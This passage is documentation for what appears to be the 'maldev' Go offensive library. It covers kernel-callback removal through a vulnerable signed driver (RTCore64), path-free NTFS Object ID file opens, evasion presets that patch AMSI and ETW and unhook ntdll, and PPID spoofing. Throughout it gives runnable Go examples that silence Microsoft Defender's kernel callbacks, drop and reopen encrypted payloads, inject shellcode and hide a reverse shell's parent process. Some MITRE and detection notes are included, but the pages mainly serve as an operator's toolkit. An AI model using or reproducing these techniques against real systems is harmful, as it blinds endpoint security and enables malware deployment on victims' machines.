Required privileges: medium-IL (NtQSI requires SeDebugPrivilege or admin token to read kernel addresses on Win10 1607+).

Platform: windows amd64.

DriverAt(addr uintptr) (string, error)

godoc

Best-effort module-name lookup for a kernel-mode address. Walks the same SystemModuleInformation snapshot used by NtoskrnlBase and returns the module whose [Base, Base+Size) window contains addr.

Parameters:

  • addr — kernel VA. Must lie inside a loaded driver module to resolve.

Returns:

  • string — driver image name (WdFilter.sys, etc.). Empty on miss.
  • error — non-nil only if the snapshot fails.

Side effects: caches the snapshot for subsequent calls.

OPSEC: quiet, no syscall pressure.

Required privileges: medium-IL (same as NtoskrnlBase).

Platform: windows amd64.

Enumerate(reader, tab) ([]Callback, error)

godoc

Walks the three configured arrays via reader.ReadKernel and returns one Callback per non-zero slot.

Parameters:

  • reader — caller-supplied KernelReader. Use kernel/driver/rtcore64 or any other BYOVD primitive.
  • tab — populated OffsetTable for the current ntoskrnl build.

Returns:

  • []Callback — one entry per non-empty slot, sorted by Kind/Index. Empty slice when all arrays are empty.
  • errorErrNoKernelReader when reader is NullKernelReader; ErrOffsetUnknown when tab.Build == 0; ErrNtoskrnlNotFound from the underlying base resolution; or the BYOVD reader's own errors.

Side effects: issues O(arrays × ArrayLen) ReadKernel calls through the supplied reader. Each subsequent slot-block dereference is one more ReadKernel.

OPSEC: quiet at the user-mode boundary; loud at the BYOVD boundary (every IOCTL through the signed driver is recordable SCM telemetry).

Required privileges: kernel — needs a working BYOVD KernelReader. The user-mode caller itself runs medium-IL+ once the driver is up.

Platform: windows amd64.

Remove(cb, writer) (RemoveToken, error)

godoc

Reads the 8-byte slot at cb.SlotAddr, captures the original tagged-pointer value into a RemoveToken, then writes 8 zero bytes. The EDR's notify routine stops being called as soon as the kernel sees the zero write.

Parameters:

  • cbCallback returned by Enumerate. SlotAddr is the field this primitive needs.
  • writerKernelReadWriter (BYOVD).

Returns:

  • RemoveToken — opaque; pair with Restore.
  • errorErrReadOnly when writer cannot write; ErrEmptySlot when the slot is already zero (avoids overwriting an unrelated allocation that may have re-used the location).

Side effects: mutates kernel memory at cb.SlotAddr (zero bytes). Subsequent NtCreateUserProcess (or whichever event the slot served) skips the EDR callback for the duration.

OPSEC: very-noisy at the BYOVD-driver-load boundary. Once the slot is zeroed, the EDR is blind to that event class — the visible signal is the driver load + IOCTL not the slot write.

Required privileges: kernel (BYOVD).

Platform: windows amd64.

Restore(tok, writer) error

godoc

Writes tok's captured value back into the slot. Safe to call on a zero-token (returns nil immediately) — makes defer Restore(tok, writer) idiomatic even before Remove runs successfully.

Parameters:

  • tok — token from Remove.
  • writer — same KernelReadWriter that performed the remove.

Returns:

  • errorErrReadOnly when the writer can't write; underlying BYOVD errors otherwise.

Side effects: restores 8 bytes of kernel memory.

OPSEC: same as Remove — the BYOVD boundary is the loud part.

Required privileges: kernel (BYOVD).

Platform: windows amd64.

Examples

Simple — enumerate

v := version.Current()
tab := offsetsByBuild[v.BuildNumber] // operator-curated map
if tab.Build == 0 {
    log.Fatalf("no offsets for ntoskrnl build %d", v.BuildNumber)
}

reader := MyDriverReader{} // any BYOVD KernelReader
cbs, err := kcallback.Enumerate(&reader, tab)
if err != nil {
    log.Fatal(err)
}
for _, cb := range cbs {
    fmt.Printf("%v[%d] -> %#x (%s) enabled=%v\n",
        cb.Kind, cb.Index, cb.Address, cb.Module, cb.Enabled)
}

Sample output:

KindCreateProcess[0] -> 0xFFFFF80123456789 (ntoskrnl.exe) enabled=true
KindCreateProcess[1] -> 0xFFFFF88765432100 (cidevrt.sys)  enabled=true
KindCreateProcess[2] -> 0xFFFFF89abcdef000 (WdFilter.sys) enabled=true
KindCreateThread [0] -> 0xFFFFF89abcdef800 (WdFilter.sys) enabled=true
KindLoadImage    [0] -> 0xFFFFF89abcdef100 (WdFilter.sys) enabled=true

Composed — RTCore64 + selective Remove + Restore

Pair the enumeration with a driver-backed KernelReadWriter, zero the slots owned by the EDR's notify routines for the duration of the payload, then restore everything before exit.

import (
    "github.com/oioio-space/maldev/evasion/kcallback"
    "github.com/oioio-space/maldev/kernel/driver/rtcore64"
)

var d rtcore64.Driver
if err := d.Install(); err != nil {
    log.Fatal(err)
}
defer d.Uninstall()

tab := kcallback.OffsetTable{
    Build:                   19045,
    CreateProcessRoutineRVA: 0xC1AAA0,
    CreateThreadRoutineRVA:  0xC1AC20,
    LoadImageRoutineRVA:     0xC1AB40,
    ArrayLen:                64,
}

cbs, _ := kcallback.Enumerate(&d, tab)

defenderModules := map[string]bool{
    "WdFilter.sys": true, "MsSecCore.sys": true, "WdNisDrv.sys": true,
}
var tokens []kcallback.RemoveToken
for _, cb := range cbs {
    if !defenderModules[cb.Module] {
        continue
    }
    tok, err := kcallback.Remove(cb, &d)
    if err != nil {
        log.Printf("remove %v[%d]: %v", cb.Kind, cb.Index, err)
        continue
    }
    tokens = append(tokens, tok)
}
defer func() {
    for _, tok := range tokens {
        _ = kcallback.Restore(tok, &d)
    }
}()

// ... payload runs while the Defender callbacks are silenced ...

Advanced — chain into self-injection

Composing kcallback with inject and evasion/preset so the disabled-callback window covers the noisiest part of the chain:

// 1. BYOVD up.
var d rtcore64.Driver
_ = d.Install()
defer d.Uninstall()

// 2. Apply the in-process Stealth preset (AMSI / ETW / unhook).
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()
_ = preset.Stealth().ApplyAll(caller)

// 3. Zero Defender callbacks.
cbs, _ := kcallback.Enumerate(&d, tab)
var tokens []kcallback.RemoveToken
for _, cb := range cbs {
    if cb.Module != "WdFilter.sys" {
        continue
    }
    if tok, err := kcallback.Remove(cb, &d); err == nil {
        tokens = append(tokens, tok)
    }
}
defer func() {
    for _, tok := range tokens {
        _ = kcallback.Restore(tok, &d)
    }
}()

// 4. Self-inject.
inj, _ := inject.NewWindowsInjector(&inject.WindowsConfig{
    Config:        inject.Config{Method: inject.MethodCreateThread},
    SyscallMethod: wsyscall.MethodIndirect,
})
_ = inj.Inject(shellcode)

OPSEC & Detection

VectorVisibilityMitigation
BYOVD driver install (NtLoadDriver + SCM)very-noisy — every vendor watchesaccept; this is the price of any kernel R/W primitive
NtQSI(SystemModuleInformation) from low-ILmedium-IL gate; flagged in some pre-injection patternsrun from an already-elevated context
Slot write itselfinvisible at user-mode; visible to defender drivers that snapshot the arrayreduce window: zero → run payload → restore fast
Race between read and write~µs window; rarely observableuse RTCore64 (fast IOCTL) over slower drivers
Module name in Callback.Modulestatic reveal of EDR driver presenceinformational; use to decide whether to engage

D3FEND counters: D3-DLIC (Driver Load Integrity Checking) on the BYOVD load path, D3-AIPA (Application Integrity Analysis) on post-disable EDR sensors that re-snapshot their own callbacks.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1562.001Impair Defenses: Disable or Modify Toolskernel-callback array zeroD3-AIPA
T1014Rootkitkernel-mode accessD3-DLIC
T1543.003Create or Modify System Process: Windows ServiceBYOVD service installD3-SBV

Limitations

  • User-mode read is impossible. NullKernelReader (the default injection target) always returns ErrNoKernelReader. A real enumeration needs a driver primitive.
  • Offsets shift frequently. Pin your offset table to specific build numbers; always fall back to ErrOffsetUnknown when the current build isn't mapped. The package intentionally ships no built-in database.
  • The Enabled bit is approximate. The low bit of a PEX_CALLBACK slot isn't universally "enabled" — in some Windows builds it's part of the reference count. Trust the Address field as the primary signal; treat Enabled as a hint.
  • No removal-helper-by-module. A RemoveByModule(name, writer) convenience is on the backlog; today operators iterate the Enumerate result and check cb.Module themselves.
  • HVCI / vulnerable-driver block list. RTCore64 is refused on HVCI-on Win10/11 ≥ 2021-09 — pick a different BYOVD or accept the gate. kcallback is driver-agnostic; any reader satisfying KernelReader works.

See also

StealthOpen — NTFS Object ID File Access

<- Back to Evasion

MITRE ATT&CK: T1036 - Masquerading Package: evasion/stealthopen Platform: Windows (NTFS only) Detection: Low


Primer

Most file-monitoring tools (EDR minifilters, AV path filters, Sysmon FileCreate rules) decide whether to alert based on the filename or path that the process tried to open. If you can open the same file without ever mentioning its path, those filters go blind.

NTFS supports this natively. Every file can carry a 128-bit Object ID in its MFT record. Once that Object ID is known, Win32's OpenFileById opens the file by GUID — the kernel never sees a path in the open request, so any hook matching on *.docx, ntds.dit, lsass.dmp, etc. simply does not fire.


How It Works

sequenceDiagram
    participant Code as "stealthopen"
    participant Vol as "Volume handle"
    participant NTFS as "NTFS driver"
    participant MFT as "$OBJECT_ID attr"

    Note over Code: Phase 1 — stamp the target
    Code->>Vol: CreateFile("C:\\sensitive.bin")
    Code->>NTFS: FSCTL_CREATE_OR_GET_OBJECT_ID
    NTFS->>MFT: Write 128-bit GUID
    NTFS-->>Code: 16-byte Object ID

    Note over Code: Phase 2 — reopen without the path
    Code->>Vol: CreateFile("C:\\") root handle
    Code->>NTFS: OpenFileById(ObjectIdType, GUID)
    NTFS->>MFT: Look up GUID → file record
    NTFS-->>Code: *os.File (path-free open)

Key points:

  • FSCTL_CREATE_OR_GET_OBJECT_ID lazily assigns an Object ID if the file has none; FSCTL_SET_OBJECT_ID installs a caller-chosen GUID (useful for pre-shared identifiers between implant and operator).
  • OpenFileById with FILE_ID_TYPE = ObjectIdType requires a volume handle, not a path — the kernel dispatches straight to the MFT.
  • Minifilters that resolve FILE_OBJECT back to a path via FltGetFileNameInformation do still see the real file — this technique defeats name-keyed filters, not every defensive mechanism.

Usage

import "github.com/oioio-space/maldev/evasion/stealthopen"

// One-time: stamp the sensitive file so we can recall its GUID later.
id, err := stealthopen.GetObjectID(`C:\sensitive.bin`)
if err != nil {
    log.Fatal(err)
}

// Later — without ever mentioning the path:
f, err := stealthopen.OpenByID(`C:\`, id)
if err != nil {
    log.Fatal(err)
}
defer f.Close()

io.Copy(os.Stdout, f)

Installing a known GUID (pre-shared between stager and second stage):

well := [16]byte{0xDE, 0xAD, 0xBE, 0xEF, /* ... */}
_ = stealthopen.SetObjectID(`C:\ProgramData\tmp.cfg`, well)

// Second stage knows the GUID by constant — no path string on either side.
f, _ := stealthopen.OpenByID(`C:\`, well)

Combined Example

Drop an encrypted payload, stamp it with a fixed Object ID, then delete all path traces from the implant so a later call opens the same bytes without any filename string ever appearing in the implant image or in the kernel open request.

package main

import (
    "io"
    "os"

    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion/stealthopen"
)

// Baked-in GUID — the only reference the second stage needs.
var payloadID = [16]byte{
    0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88,
    0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x00,
}

func drop(key, plaintext []byte) error {
    const tmp = `C:\ProgramData\Intel\update.bin`
    blob, _ := crypto.EncryptAESGCM(key, plaintext)
    if err := os.WriteFile(tmp, blob, 0o644); err != nil {
        return err
    }
    return stealthopen.SetObjectID(tmp, payloadID)
}

func reopen(key []byte) ([]byte, error) {
    f, err := stealthopen.OpenByID(`C:\`, payloadID)
    if err != nil {
        return nil, err
    }
    defer f.Close()
    blob, err := io.ReadAll(f) // read via the path-free handle
    if err != nil {
        return nil, err
    }
    return crypto.DecryptAESGCM(key, blob)
}

The implant binary never contains the string update.bin nor a hard-coded path — only the 16-byte GUID. Any EDR matching on *.bin under C:\ProgramData misses the reopen.


Composing with Other Packages — the Opener Pattern

Reading a sensitive file directly (low-level OpenByID call) is fine for one-off access. For the packages inside maldev that themselves open sensitive files (unhook reading ntdll, phantomdll reading System32 DLLs, herpaderping reading the payload), stealthopen exposes an Opener abstraction that mirrors how *wsyscall.Caller is passed through the code: an optional, nil-safe handle that consuming packages accept as a plain parameter.

type Opener interface {
    Open(path string) (*os.File, error)
}

// Standard: plain os.Open. Default when the caller passes nil.
type Standard struct{}

// Stealth: captures (volume, ObjectID) once, then all Open() calls go
// through OpenFileById — path-based file hooks never fire.
type Stealth struct {
    VolumePath string
    ObjectID   [16]byte
}

// NewStealth derives both fields from a real path in one call, so the
// caller just hands the result to the consuming package.
func NewStealth(path string) (*Stealth, error)

// Use normalizes the nil case to Standard.
func Use(opener Opener) Opener

The pattern in practice

import (
    "github.com/oioio-space/maldev/evasion/stealthopen"
    "github.com/oioio-space/maldev/evasion/unhook"
)

sysDir, _ := windows.GetSystemDirectory()
ntdllPath := filepath.Join(sysDir, "ntdll.dll")

// One-time: capture ntdll's Object ID + volume root.
stealth, err := stealthopen.NewStealth(ntdllPath)
if err != nil { /* non-NTFS, or no ObjectID — fall back to nil */ }

// Hand it to every unhook call; any path-based EDR hook on CreateFile
// for ntdll.dll never fires. nil = same as before (path-based read).
_ = unhook.ClassicUnhook("NtCreateSection", caller, stealth)
_ = unhook.FullUnhook(caller, stealth)

Where it's wired today

ConsumerFunction / Config fieldWhat gets stealth-opened
evasion/unhook.ClassicUnhook3rd argSystem32\ntdll.dll
evasion/unhook.FullUnhook2nd argSystem32\ntdll.dll
inject.PhantomDLLInject4th argSystem32\<dllName> (read and the HANDLE passed to NtCreateSection)
process/tamper/herpaderping.Config.Openerstruct fieldPayloadPath + DecoyPath

All four treat nil as "use the existing path-based open" — no behavior change for existing callers. Tests in evasion/stealthopen/opener_test.go, evasion/stealthopen/opener_windows_test.go, evasion/unhook/opener_windows_test.go, inject/phantomdll_opener_test.go, and process/tamper/herpaderping/opener_windows_test.go pin the contract (spy-opener call-counting + real end-to-end round-trip through OpenFileById).

Limitations to remember

  • NTFS only. ReFS / FAT32 / UNC shares without NTFS expose no Object ID. Detect by checking NewStealth's error.
  • Object ID must preexist on the target file. System32 DLLs generally do have one; fresh payloads may need GetObjectID (creates on demand, often works without admin) or SetObjectID (admin, lets you pin a fixed GUID).
  • Volume root required. VolumeFromPath extracts it from drive-letter, Win32-prefixed, and UNC paths — but a \\?\Volume{GUID}\ root needs GetVolumePathName under the hood; the helper does that for you.
  • Not a magic bullet. Minifilters that resolve the final FILE_OBJECT to a path after the open still see the real path. This beats name-keyed pre-open filters, not every defensive mechanism.

API Reference

See the package godoc. The Opener interface is the seam — pass any implementation (stealthopen.New(...), a test spy, etc.) to consumers that accept it (cleanup/wipe, persistence/lnk once P2.16 lands).

See also

Preset — Ready-to-Use Evasion Combinations

<- Back to Evasion

Package: evasion/preset Platform: Windows only Detection: Varies by preset (Low for Minimal, Medium for Stealth, High for Aggressive)

Preset bundles the most common evasion techniques into three opinionated configurations keyed on risk tolerance. Each preset returns []evasion.Technique for use with evasion.ApplyAll().


Primer

Evasion rarely works in isolation — AMSI alone misses ETW, ETW alone misses userland hooks. Presets are pre-composed bundles (Minimal, Stealth, Aggressive) that apply a coherent set of techniques in one call. Pick one, ship it, don't micromanage the pieces.


How It Works

A preset is just a function returning []evasion.Technique. evasion.ApplyAll iterates the slice and invokes each technique's Apply() in order, collecting per-technique failures into a map. Nothing magic: the value is curation, not new code.

flowchart LR
    A[preset.Stealth] --> B["[]evasion.Technique<br>amsi + etw + 10x unhook"]
    B --> C["evasion.ApplyAll(slice, caller)"]
    C --> D{"each .Apply()"}
    D --> E[AMSI patched]
    D --> F[ETW silenced]
    D --> G[ntdll prologues restored]
    D --> H["errors map[name]error"]
  • preset.Minimal() — AMSI + ETW only. No disk reads, no mitigation policies.
  • preset.Stealth() — Minimal + classic unhook of the 10 functions in unhook.CommonHookedFunctions.
  • preset.Hardened() — full AMSI + full ETW + full ntdll unhook + CET opt-out. CET-aware sweet spot: APC-delivered shellcode survives Win11 24H2+ ENDBR64 enforcement without losing the ability to inject afterwards.
  • preset.Aggressive() — Hardened + ACG + BlockDLLs. Irreversible.

preset.CETOptOut() — standalone Technique callers can pull into a custom stack. No-op when CET is not enforced.

Order matters for Aggressive — ACG and BlockDLLs permanently restrict the process, so all RWX allocation and injection must be done before applying it.


Minimal

Risk: Low
Use case: Droppers, stagers, initial-access payloads where staying off radar matters more than bypassing advanced EDR hooks.

Included techniques

TechniquePackageWhat it does
amsi.ScanBufferPatch()evasion/amsiOverwrites AmsiScanBuffer entry with xor eax,eax; ret — all AMSI scans return clean
etw.All()evasion/etwPatches all EtwEventWrite* functions and NtTraceEvent with xor rax,rax; ret — ETW events are silently dropped

Rationale

AMSI and ETW are the two highest-signal telemetry paths for script/reflective loaders. Patching only these two functions has the smallest footprint: no disk reads of ntdll, no process spawning, no mitigation policy changes. The patch surface is three small memory writes. Suitable whenever the primary concern is bypassing in-memory script scanning rather than defeating userland hooks on injection primitives.


Stealth

Risk: Medium
Use case: Post-exploitation tooling, injectors, and loaders that need to perform process injection without inline hook interference from EDR agents.

Included techniques

Stealth is a superset of Minimal — all Minimal techniques apply, plus:

TechniquePackageWhat it does
amsi.ScanBufferPatch()evasion/amsi(from Minimal) AMSI bypass
etw.All()evasion/etw(from Minimal) ETW silence
unhook.Classic("NtAllocateVirtualMemory")evasion/unhookRestores first 5 bytes of syscall stub from on-disk ntdll
unhook.Classic("NtWriteVirtualMemory")evasion/unhookSame for write primitive
unhook.Classic("NtProtectVirtualMemory")evasion/unhookSame for protect primitive
unhook.Classic("NtCreateThreadEx")evasion/unhookSame for thread creation
unhook.Classic("NtMapViewOfSection")evasion/unhookSame for section mapping
unhook.Classic("NtQueueApcThread")evasion/unhookSame for APC-based injection
unhook.Classic("NtSetContextThread")evasion/unhookSame for thread hijacking
unhook.Classic("NtResumeThread")evasion/unhookSame for thread resume
unhook.Classic("NtCreateSection")evasion/unhookSame for section creation
unhook.Classic("NtOpenProcess")evasion/unhookSame for process opening

All 10 functions come from unhook.CommonHookedFunctions via unhook.CommonClassic().

Rationale

EDR/AV products hook the 10 functions in CommonHookedFunctions because they are the core primitives for process injection and shellcode execution. Classic unhooking reads the original prologue bytes from the clean on-disk ntdll.dll and writes them back — no process spawning, just targeted 5-byte patches. This is surgical: only restore what is likely hooked, minimise the number of memory writes, and avoid the large-region writes of FullUnhook that are easier to detect via integrity checks. The combination of AMSI+ETW silence plus unhooking gives adequate coverage for most injection scenarios without the irreversible side effects of Aggressive.


Aggressive

Risk: High
Use case: Red team finals, assumed-breach scenarios, long-dwell implants where maximum evasion is worth trading away compatibility and reversibility.

CRITICAL: ACG is irreversible. acg.Guard() calls SetProcessMitigationPolicy(ProhibitDynamicCode=1). After this call, VirtualAlloc(PAGE_EXECUTE_*) and related calls fail for the remainder of the process lifetime. You MUST complete all shellcode injection and RWX memory allocation BEFORE calling preset.Aggressive(). Applying it beforehand will break your own injection code.

Included techniques

TechniquePackageWhat it does
amsi.All()evasion/amsiPatches both AmsiScanBuffer and AmsiOpenSession — full AMSI neutralisation
etw.All()evasion/etwPatches all EtwEventWrite* and NtTraceEvent
unhook.Full()evasion/unhookReplaces the entire ntdll .text section from the on-disk copy — removes every inline hook in one operation
acg.Guard()evasion/acgEnables Arbitrary Code Guard — blocks EDR from injecting executable code into this process (irreversible)
blockdlls.MicrosoftOnly()evasion/blockdllsBlocks loading of non-Microsoft-signed DLLs — prevents EDR agent DLLs from being injected (irreversible)

Rationale

Aggressive trades reversibility for depth. amsi.All() patches both AMSI entry points rather than just ScanBuffer, closing the bypass gap around session-level checks. unhook.Full() replaces the entire .text section rather than patching individual functions — guaranteed to remove every hook, at the cost of a larger and more conspicuous memory write. ACG and BlockDLLs are process mitigation policies that harden the process against EDR counter-injection; because they are kernel-enforced and irreversible, they provide the strongest possible protection but must be the last step. This combination is appropriate when the mission is high-value and the dwell time is long enough that EDR will attempt active response.


Usage Examples

Basic usage

import (
    "log"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
)

func main() {
    // Apply Stealth preset (returns nil map on full success)
    errs := evasion.ApplyAll(preset.Stealth(), nil)
    for name, err := range errs {
        log.Printf("evasion technique %s failed: %v", name, err)
    }
}

Hardened — Win11 24H2+ with CET shadow stacks

Sweet spot when the host enforces CET: AMSI + ETW + full ntdll unhook + CET opt-out, no irreversible per-process mitigations (ACG, BlockDLLs) so the implant can still inject after the preset runs.

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    caller := wsyscall.New(wsyscall.MethodIndirectAsm, wsyscall.NewHashGate())
    defer caller.Close()
    errs := evasion.ApplyAll(preset.Hardened(), caller)
    _ = errs
}

CETOptOut standalone — pluck the technique into a custom stack

stack := []evasion.Technique{
    amsi.ScanBufferPatch(),
    etw.All(),
    preset.CETOptOut(), // no-op when cet.Enforced() == false
    sleepmask.NewLocalForCurrentImage(),
}
_ = evasion.ApplyAll(stack, caller)

With indirect syscalls (Caller)

import (
    "log"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
    errs := evasion.ApplyAll(preset.Stealth(), caller)
    for name, e := range errs {
        log.Printf("%s: %v", name, e)
    }
}

Aggressive preset — inject first, harden after

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

func run(shellcode []byte) error {
    // Step 1: apply Stealth first so injection primitives are unhooked
    evasion.ApplyAll(preset.Stealth(), nil)

    // Step 2: do all injection / RWX allocation here
    if err := inject.ThreadPoolExec(shellcode); err != nil {
        return err
    }

    // Step 3: NOW apply Aggressive — ACG and BlockDLLs lock down the process
    // No further RWX allocation is possible after this point
    evasion.ApplyAll(preset.Aggressive(), nil)
    return nil
}

Custom combination

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
    "github.com/oioio-space/maldev/evasion/unhook"
)

// Custom: AMSI + ETW + only the functions we actually call
techniques := []evasion.Technique{
    amsi.ScanBufferPatch(),
    etw.All(),
    unhook.Classic("NtAllocateVirtualMemory"),
    unhook.Classic("NtCreateThreadEx"),
}
evasion.ApplyAll(techniques, nil)

Decision Matrix

ScenarioPresetRationale
Script dropper, no injectionMinimalAMSI+ETW is all that matters for script scanning
Reflective loader executing shellcodeStealthNeeds unhooked NtAllocateVirtualMemory + NtCreateThreadEx
Process injection via APCStealthNeeds NtQueueApcThread unhooked
Thread hijackingStealthNeeds NtSetContextThread + NtResumeThread unhooked
Long-dwell implant, post-injectionAggressiveACG+BlockDLLs harden against EDR counter-injection
Red team final objective, assumed-breachAggressiveMaximum evasion depth warranted
EDR with heavy hook coverage suspectedAggressive (Full unhook)Full .text replacement vs. targeted 5-byte patches
Constrained environment, compatibility requiredMinimalNo disk reads, no irreversible changes
Custom: known hook setManual compositionBuild from individual techniques for minimal footprint

Combined Example

Apply preset.Stealth() to unhook injection primitives, detonate a shellcode payload, then lock the process down with preset.Aggressive() so an EDR agent cannot counter-inject a monitoring DLL afterwards.

package main

import (
    "log"

    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func run(shellcode []byte) error {
    caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewTartarus())
    defer caller.Close()

    // 1. Stealth first — AMSI/ETW silenced + Nt* prologues restored.
    //    The unhook pass uses indirect syscalls via `caller`, so the
    //    restore itself does not touch hooked NtProtectVirtualMemory.
    if errs := evasion.ApplyAll(preset.Stealth(), caller); len(errs) > 0 {
        for name, err := range errs {
            log.Printf("stealth: %s: %v", name, err)
        }
    }

    // 2. Inject while RWX allocation is still legal.
    if err := inject.ThreadPoolExec(shellcode); err != nil {
        return err
    }

    // 3. Aggressive last — ACG + BlockDLLs lock the process.
    //    No further VirtualAlloc(PAGE_EXECUTE_*) possible after this.
    evasion.ApplyAll(preset.Aggressive(), caller)
    return nil
}

Layered benefit: Stealth removes the EDR's ability to observe the injection (hooks gone, AMSI silent, ETW off), and Aggressive removes its ability to react afterwards (ACG blocks code injection, BlockDLLs blocks its module load) — the two presets cover detection and remediation without overlapping.


API Reference

See the package godoc for the canonical Apply(c Caller) error / ApplyAll(c Caller) map[string]error surface. Each preset (Minimal, Stealth, Aggressive) returns a []evasion.Technique ready to plug into evasion.ApplyAll.

See also

PPID Spoofing

MITRE ATT&CK: T1134.004 -- Access Token Manipulation: Parent PID Spoofing | Detection: Medium -- Process tree anomalies are detectable but require behavioral analysis

Primer

When a process creates a child process on Windows, the child inherits its parent's identity in the process tree. Security tools use this parent-child relationship as a key detection signal. For example, if cmd.exe is spawned by explorer.exe, that looks normal -- the user opened a command prompt. But if cmd.exe is spawned by excel.exe, that is highly suspicious and likely indicates a macro-based attack.

PPID spoofing breaks this detection by lying about the parent. When creating a child process, we use the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute to specify a different parent process handle. The child process appears in the process tree as if it was spawned by the chosen parent (e.g., explorer.exe or svchost.exe), even though our process actually created it.

This is a legitimate Windows API feature -- Go 1.24+ even added native support via syscall.SysProcAttr.ParentProcess.

How It Works

sequenceDiagram
    participant Attacker as "Attacker (malware.exe)"
    participant Explorer as "explorer.exe (PID 1234)"
    participant Kernel as "Windows Kernel"
    participant Child as "cmd.exe (child)"

    Attacker->>Kernel: OpenProcess(PROCESS_CREATE_PROCESS, explorer PID)
    Kernel-->>Attacker: hParent

    Note over Attacker: Build PROC_THREAD_ATTRIBUTE_LIST<br>with PARENT_PROCESS = hParent

    Attacker->>Kernel: CreateProcess(cmd.exe, EXTENDED_STARTUPINFO)
    Kernel->>Child: Create process
    Kernel-->>Child: ParentProcessId = 1234 (explorer)

    Note over Child: Process tree shows:<br>explorer.exe → cmd.exe<br>(not malware.exe → cmd.exe)

Step-by-step:

  1. Find target parent -- Enumerate running processes to find a suitable legitimate parent (e.g., explorer.exe, svchost.exe).
  2. OpenProcess(PROCESS_CREATE_PROCESS) -- Open the target with the minimum right needed for PPID spoofing.
  3. Build SysProcAttr -- Set ParentProcess to the opened handle. Go 1.24+ handles the PROC_THREAD_ATTRIBUTE_LIST plumbing automatically.
  4. CreateProcess -- Spawn the child process. Windows sets the child's ParentProcessId to the target, not the actual creator.

Default Targets

maldev searches for these processes in order (first match wins):

ProcessWhy
explorer.exeEvery interactive session has one. Most natural parent for user-facing apps.
svchost.exeDozens of instances. Services spawning children is normal.
sihost.exeShell Infrastructure Host. Present in every session.
RuntimeBroker.exeUWP broker. Common, low-profile parent.

Usage

package main

import (
    "fmt"
    "os/exec"

    "golang.org/x/sys/windows"

    "github.com/oioio-space/maldev/c2/shell"
)

func main() {
    spoofer := shell.NewPPIDSpoofer()

    if err := spoofer.FindTargetProcess(); err != nil {
        panic(err)
    }
    fmt.Printf("Spoofing parent to PID %d\n", spoofer.TargetPID())

    attr, parentHandle, err := spoofer.SysProcAttr()
    if err != nil {
        panic(err)
    }
    defer windows.CloseHandle(parentHandle)

    cmd := exec.Command("cmd.exe", "/c", "whoami")
    cmd.SysProcAttr = attr
    out, err := cmd.Output()
    if err != nil {
        panic(err)
    }
    fmt.Printf("Output: %s\n", out)
}

Custom Targets

// Target a specific process
spoofer := shell.NewPPIDSpooferWithTargets([]string{"winlogon.exe"})

if err := spoofer.FindTargetProcess(); err != nil {
    // winlogon.exe requires SeDebugPrivilege to open
    panic(err)
}

Integration with Reverse Shell

The PPID spoofer integrates naturally with c2/shell for reverse shell scenarios:

// The reverse shell can spawn under a spoofed parent,
// making the shell process appear as a child of explorer.exe
// in EDR process trees.
spoofer := shell.NewPPIDSpoofer()
spoofer.FindTargetProcess()
attr, handle, _ := spoofer.SysProcAttr()
defer windows.CloseHandle(handle)

cmd := exec.Command("cmd.exe")
cmd.SysProcAttr = attr
// ... bind to transport

Advantages & Limitations

AspectDetail
StealthMedium -- fools basic process tree analysis, but advanced EDR can correlate the real creator via ETW ProcessStart events or kernel callbacks.
CompatibilityWindows Vista+ (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS). Go 1.24+ for native SysProcAttr.ParentProcess.
PrivilegesPROCESS_CREATE_PROCESS on the target parent. For system processes (winlogon.exe, lsass.exe), SeDebugPrivilege is required.
Exploit GuardWindows Exploit Guard / ASR rules can block PPID spoofing on hardened systems (Windows 10 22H2+). The test SKIPs in this case.
ScopeOnly affects the parent PID in the process tree. The child still inherits the creator's token unless explicit token manipulation is also performed.
Go 1.24+Uses native syscall.SysProcAttr.ParentProcess -- no CGO, no manual attribute list management.

Detection

Defenders can detect PPID spoofing via:

  1. ETW ProcessStart events -- The CreatingProcessId field in the kernel event shows the real creator, not the spoofed parent.
  2. Handle table analysis -- The creator must have an open handle to the target parent with PROCESS_CREATE_PROCESS.
  3. Behavioral anomalies -- A child process's token/session doesn't match the supposed parent's session.
  4. Sysmon Event ID 1 -- ParentProcessId vs ParentProcessGuid can reveal mismatches.

API Reference

// Create with default targets (explorer, svchost, sihost, RuntimeBroker)
spoofer := shell.NewPPIDSpoofer()

// Create with custom targets
spoofer := shell.NewPPIDSpooferWithTargets([]string{"explorer.exe", "notepad.exe"})

// Find a running target process
err := spoofer.FindTargetProcess()

// Get the selected PID
pid := spoofer.TargetPID()

// Get SysProcAttr for exec.Command -- caller must close handle
attr, parentHandle, err := spoofer.SysProcAttr()
defer windows.CloseHandle(parentHandle)

// Check actual parent PID of any process
ppid, err := shell.ParentPID(childPID)

// Check if current process is admin
admin := shell.IsAdmin()

See also

Injection techniques

← maldev README · docs/index

The inject/ package supplies a unified Windows + Linux injection surface: 16 Windows methods, 3 Linux methods, plus a Pipeline pattern for custom memory + executor combinations. Every method implements Injector; self-process methods additionally implement SelfInjector so the freshly-allocated region can be wired into evasion/sleepmask or cleanup/memory.WipeAndFree without re-deriving address and size.

TL;DR

flowchart LR
    SC[shellcode] --> M{target}
    M -->|self| S[CreateThread / Fiber / EtwpCreateEtwThread / ThreadPool / Callback]
